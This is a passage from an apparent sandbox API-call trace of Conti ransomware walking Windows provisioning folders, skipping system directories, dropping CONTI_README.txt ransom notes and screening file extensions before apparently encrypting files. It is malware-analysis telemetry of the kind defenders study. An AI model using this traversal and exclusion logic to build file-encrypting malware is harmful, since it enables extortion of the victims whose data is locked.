	[0106.119] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.119] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.119] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned 76
	[0106.119] lstrlenW (lpString="Prov") returned 4
	[0106.120] GetProcessHeap () returned 0x1720000
	[0106.120] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.120] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}"
	[0106.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\"
	[0106.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov"
	[0106.120] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned 81
	[0106.120] GetProcessHeap () returned 0x1720000
	[0106.120] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x65111a8
	[0106.120] lstrcpyW (in: lpString1=0x65111a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov"
	[0106.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*"
	[0106.120] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned 81
	[0106.120] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.120] GetProcessHeap () returned 0x1720000
	[0106.120] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cae8
	[0106.120] lstrcpyW (in: lpString1=0x181cae8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov"
	[0106.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\"
	[0106.120] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\CONTI_README.txt"
	[0106.120] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0106.121] GetProcessHeap () returned 0x1720000
	[0106.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cae8 | out: hHeap=0x1720000) returned 1
	[0106.121] WriteFile (in: hFile=0x3ac, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.122] CloseHandle (hObject=0x3ac) returned 1
	[0106.122] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5317480f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0106.122] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.122] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5317480f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.122] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.122] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.122] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5317480f, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5317480f, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5317480f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.122] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.122] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.122] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.122] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.122] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.122] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.122] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.122] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.122] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.123] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.123] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned 81
	[0106.123] lstrlenW (lpString="RunTime") returned 7
	[0106.123] GetProcessHeap () returned 0x1720000
	[0106.123] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.123] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov"
	[0106.123] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\"
	[0106.123] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime"
	[0106.123] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned 89
	[0106.123] GetProcessHeap () returned 0x1720000
	[0106.123] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.123] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime"
	[0106.123] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*"
	[0106.123] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned 89
	[0106.123] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.123] GetProcessHeap () returned 0x1720000
	[0106.123] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c7180
	[0106.123] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime"
	[0106.123] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\"
	[0106.123] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.123] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.124] GetProcessHeap () returned 0x1720000
	[0106.124] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.124] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.125] CloseHandle (hObject=0x3a8) returned 1
	[0106.125] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x531991f3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8330
	[0106.125] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.125] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x531991f3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.125] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.125] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.125] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1
	[0106.125] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.125] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.125] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.125] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned 89
	[0106.125] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.125] GetProcessHeap () returned 0x1720000
	[0106.126] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c7180
	[0106.126] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime"
	[0106.126] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\"
	[0106.126] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.126] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x531991f3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x531991f3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x531991f3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.126] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.126] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.126] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.126] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.126] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x531991f3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x531991f3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x531991f3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.126] GetProcessHeap () returned 0x1720000
	[0106.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.126] FindClose (in: hFindFile=0x17c8330 | out: hFindFile=0x17c8330) returned 1
	[0106.126] GetProcessHeap () returned 0x1720000
	[0106.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.126] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.126] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.126] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.126] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.126] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned 81
	[0106.126] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.126] GetProcessHeap () returned 0x1720000
	[0106.126] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cc0c0
	[0106.126] lstrcpyW (in: lpString1=0x17cc0c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov"
	[0106.126] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\"
	[0106.127] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml"
